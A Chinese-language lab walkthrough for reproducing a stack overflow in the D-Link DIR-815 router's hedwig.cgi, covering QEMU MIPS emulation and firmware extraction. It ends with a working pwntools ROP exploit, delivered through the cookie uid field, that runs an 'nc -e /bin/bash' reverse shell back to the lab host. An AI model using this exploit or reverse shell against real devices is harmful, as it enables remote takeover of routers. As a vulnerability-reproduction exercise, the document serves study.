从零到一:复现 DIR-815 栈溢出漏洞
实验环境
执行命令uname -a
可以查看到当前系统版本
我这边采用桥接模式进行实验。
环境搭建
文章命令操作均在root下操作,且git clone xxxx.git
下载所用到工具都均下载保存到/opt/tools/
文件夹下,方便统一管理。
先搭建好PWN环境,PWN搭建参考教程:https://blog.csdn.net/qq_44223394/article/details/127434471
PWN环境搭建好后,下面开始安装binwalk、sasquatch、qemu、网络配置等等。
安装binwalk
sudo apt-get install binwalk
安装Sasquatch
sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev
cd /opt/tools/
sudo git clone https://github.com/devttys0/sasquatch
cd ./sasquatch
chmod +x build.sh
./build.sh
安装qemu
sudo apt update && sudo apt install qemu qemu-user qemu-user-static qemu-system
sudo apt-get install binfmt-support libncurses5-dev gcc-arm-linux-gnueabi build-essential synaptic gcc-aarch64-linux-gnu
#安装依赖库:
sudo apt-get install -y gcc-arm-linux-gnueabi
安装完成后使用命令验证安装是否成功
qemu-system-x86_64 --version
即安装成功。
网络配置搭建
安装网络配置工具:
sudo apt-get install bridge-utils uml-utilities
ip addr
查看ubuntu本机的ip地址为192.168.10.60,就是能上网的网卡名字是ens33
vim /etc/network/interfaces
如果实验的时候,不是ens33
,则下面的ens33
文字改成你实验的网卡名字就行了。
然后按i
键,将下面这段配置粘过去
auto lo
iface lo inet loopback
auto ens33
iface ens33 inet dhcp
up ifconfig ens33 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_maxwait 0
然后按ESC
键,在按:wq
保存退出。
sudo /etc/init.d/networking restart
重启一下网络配置。
vim /etc/qemu-ifup
写入下面的配置:
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridge mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2
sudo chmod a+x /etc/qemu-ifup
命令赋予权限。
vim /etc/qemu/bridge.conf
写入allow br0
即可。
使用qemu-
system-
mipsel参考链接:https://blog.csdn.net/qq_43390703/article/details/120978954
vim /opt/tools/mipsel/network_config.sh
我这边虚拟机的网卡是ens33
,如果你那边不是,请将下面配置中的ens33
改成你那边网卡名字所对应的即可。然后修改下面配置的192.168.10.60改成你实验ubuntu虚拟机的网卡ip地址,然后将下面配置保存到network_config.sh
脚本里,
sudo ifconfig ens33 down # 首先关闭宿主机网卡接口
sudo brctl addbr br0 # 添加名为 br0 的网桥
sudo brctl addif br0 ens33 # 在 br0 中添加一个接口
sudo brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1 # 设置 br0 的转发延迟
sudo brctl sethello br0 1 # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
sudo ifconfig ens33 up
# 下面是创建TAP设备
sudo tunctl -t tap0 -u root # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
# 注意下面的192.168.10.60改成你实验ubuntu虚拟机的网卡ip地址
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.10.60/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.10.60/24 up
sudo brctl addif Virbr0 tap0
保存配置后
cd /opt/tools/mipsel/
chmod 777 network_config.sh
./network_config.sh
可以看到
ip addr
,若过出现如下图所示,即网络配置搭建完成。
sudo brctl show br0
查看虚拟网桥列表
sudo brctl showstp br0
查看 br0 的各接口信息
ifconfig
可查看网络IP地址相关配置
sudo brctl showstp br0
显示 br0 的各个接口
sudo brctl showstp br0
显示 br0 的各个接口
注:在网络环境按上述配置完成后,重启下Ubuntu虚拟机。
配置qemu虚拟机
cd /opt/tools
mkdir mipsel
cd ./mipsel
由于该固件是32
位小端序的mips
架构,因此,我们也要下载相对应的内核及镜像文件。
下载地址:https://people.debian.org/~aurel32/qemu/mipsel/
.
下载其中的vmlinux-3.2.0-4-4kc-malta
内核以及debian_squeeze_mipsel_standard.qcow2
镜像文件。
执行下面两句命令进行下载
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2
然后新建启动qemu的脚本,命名为start.sh
vim /opt/tools/mipsel/start.sh
下面配置写入start.sh
sudo qemu-system-mipsel \
-M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-nographic \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap,ifname=tap0,script=no,downscript=no
如果要启动qemu,则运行start.sh
即可。如下图所示
login和password都是root
,就成功进入qemu仿真机系统。
在qemu仿真机系统中执行
ip addr
可以看到
qemu仿真机系统的ip地址为:192.168.10.67
ubuntu的ip地址为:192.168.10.60
且都是可以ping通的
至此,qemu仿真机就成功搭建完成了。
漏洞分析
下载解压固件
固件下载:https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1000487&fileName=DIR-815A1_FW101SSB03.bin&fileSize=3784844.0
或 https://support.dlink.com/
在ubuntu里,我这里在桌面上新建了如下图的路径
把下载好的固件放在DIR-815文件里。
使用命令binwalk -Me DIR-815A1_FW101SSB03.bin
将固件包通过binwalk
解压
在固件目录下生成_DIR-815A1_FW101SSB03.bin.extracted
的文件夹。
/iot/DIR-815/_DIR-815A1_FW101SSB03.bin.extracted/squashfs-root
存放的是路由器系统的相关文件。
本文是用IDA逆向分析的二进制文件是/squashfs-root/htdocs/cgibin
我们查看一下cgibin系统文件
file cgibin
可以看到,cgibin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
我们进到cd iot/DIR-815/_DIR-815A1_FW101SSB03.bin.extracted
文件夹内
执行 (注:这里的ip要改成你那边qemu仿真机的ip)
scp -r ./squashfs-root root@192.168.10.67:/root/squashfs-root
就是将squashfs-root的路由器配置文件上传到qemu仿真机里。
如上图所示,在qemu仿真机里可以看到上传完成了。
qemu开启hhtpd服务
用ubuntu的nmap扫一下仿真机的开启了哪些端口。
192.168.10.67为qemu的ip地址
namp 192.168.10.67
可以看到开启了22端口,并未开启80端口。
在qemu虚拟机的squashfs-root目录下新建一个http_conf配置文件,
nano http_con
里面写入
(注:需要改一下自己设置的网卡,IP,端口):
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth1 #对应qemu仿真路由器系统的网卡
Address 192.168.10.67 #qemu仿真路由器系统的IP
Port "80" #对应未被使用的端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
按ctrl + x
,再按回车,再按y
保存,或n
不保存,然后回车。
在Ubuntu 20.04
物理机上/opt/tools/mipsel
新建init.sh
,写入下面配置。
#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
保存。
chmod 777 init.sh
./init.sh
运行脚本即可。
在qemu
虚拟机的squashfs-root
目录下创建init.sh
的脚本进行初始化操作:
nano init.sh
,写入下面这些配置
#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf
注:echo 0 > /proc/sys/kernel/randomize_va_space
关闭地址随机化
然后在qemu里运行./init.sh
在qemu
虚拟机的squashfs-root
目录下创建fin.sh
的脚本进行初始化操作:
nano fin.sh
,写入下面这些配置
#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak
注:退出qemu
虚拟机的时候,记得运行fin.sh
的脚本恢复/etc
文件夹
下面是开启httpd服务
在qemu仿真机里,进到/squashfs-root/sbin
里
运行 ./httpd -f /root/squashfs-root/http_conf
浏览器访问 http://192.168.10.67/hedwig.cgi
可以看到正常访问了。
IDA安装使用MIPSROP插件
IDA7.5 使用MIPSROP插件参考
https://blog.csdn.net/niu_niu_/article/details/125566287
https://bbs.kanxue.com/thread-266102.htm
windows上下载:https://bbs.kanxue.com/attach-download-236502-8d1a29c4a83046d584fd66d604eb6736@A5NoR_2FLZ5Fp6vrvU788dBg_3D_3D.htm
将这两个文件放在xxxxx\IDA_Pro_v7.5_Portable\plugins\
里面,然后重启IDA。
在命令行中输入mipsrop.stackfinders() 回车即可
看到能运行插件,即安装成功了。
exp
在ubuntu里执行
echo 0 > /proc/sys/kernel/randomize_va_space
两种构造ROP
链的方式:第一种就是纯ROP
链,通过调用system
函数来getshell
;第二种就是通过构造ROP
链,跳转至读入到栈/bss
段等处的shellcode
执行。在实际应用中,最常用的还是通过ROP + shellcode
的方式来getshell
。
在ubuntu里/opt/tools/mipsel/
里下载gdbserver.mipsle
wget https://github.com/rapid7/embeddedtools/blob/master/binaries/gdbserver/gdbserver.mipsle
然后将gdbserver.mipsle
上传到qemu的squashfs-root
文件夹内
scp -r ./gdbserver.mipsle root@192.168.10.67:/root/squashfs-root
在qemu
中/root/squashfs-root/
用新建run.sh
脚本启动:
nano run.sh
写入下面配置
#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
#echo "winmt=pwner"|./gdbserver.mipsel 192.168.10.60:6666 /htdocs/web/hedwig.cgi
echo "winmt=pwner"|/htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI
注:
#echo "winmt=pwner"|./gdbserver.mipsel 192.168.10.60:6666 /htdocs/web/hedwig.cgi
这一行代码是与gdb-multiarch调试的时候开启。
192.168.10.60 为ubuntu的地址,`6666`是自己设置的连接的端口,直接用gdb-multiarch设置好架构后,用target remote 192.168.10.67:6666连上即可。其中192.168.10.67为qemu的地址。
------------------------------------
# echo "winmt=pwner"|/htdocs/web/hedwig.cgi
这行代码是直接生成了payload直接攻击。
在ubuntu里/opt/tools/mipsel/
里新建exp.py
vim exp.py
(纯ROP链)
写入(注:ip要改)
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
# 这里ip是ubuntu的ip地址,端口8888,进行监听
cmd = b'nc -e /bin/bash 192.168.10.60 8888'
libc_base = 0x77f34000
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd
fd = open("payload", "wb")
fd.write(payload)
fd.close()
与运行exp.py
python3 exp.py
在目录会生成payload
文件,将这个文件上传到qemu的squashfs-root文件夹里
scp -r ./payload root@192.168.10.67:/root/squashfs-root
然后在ubuntu里新建一个终端,进行端口监听,等待反弹shell
nc -lvnp 8888
在qemu中squashfs-root里,执行刚才新建的run.sh
在ubuntu可以见到已经成功反弹了shell,并可执行命令。
至此,漏洞复现完成。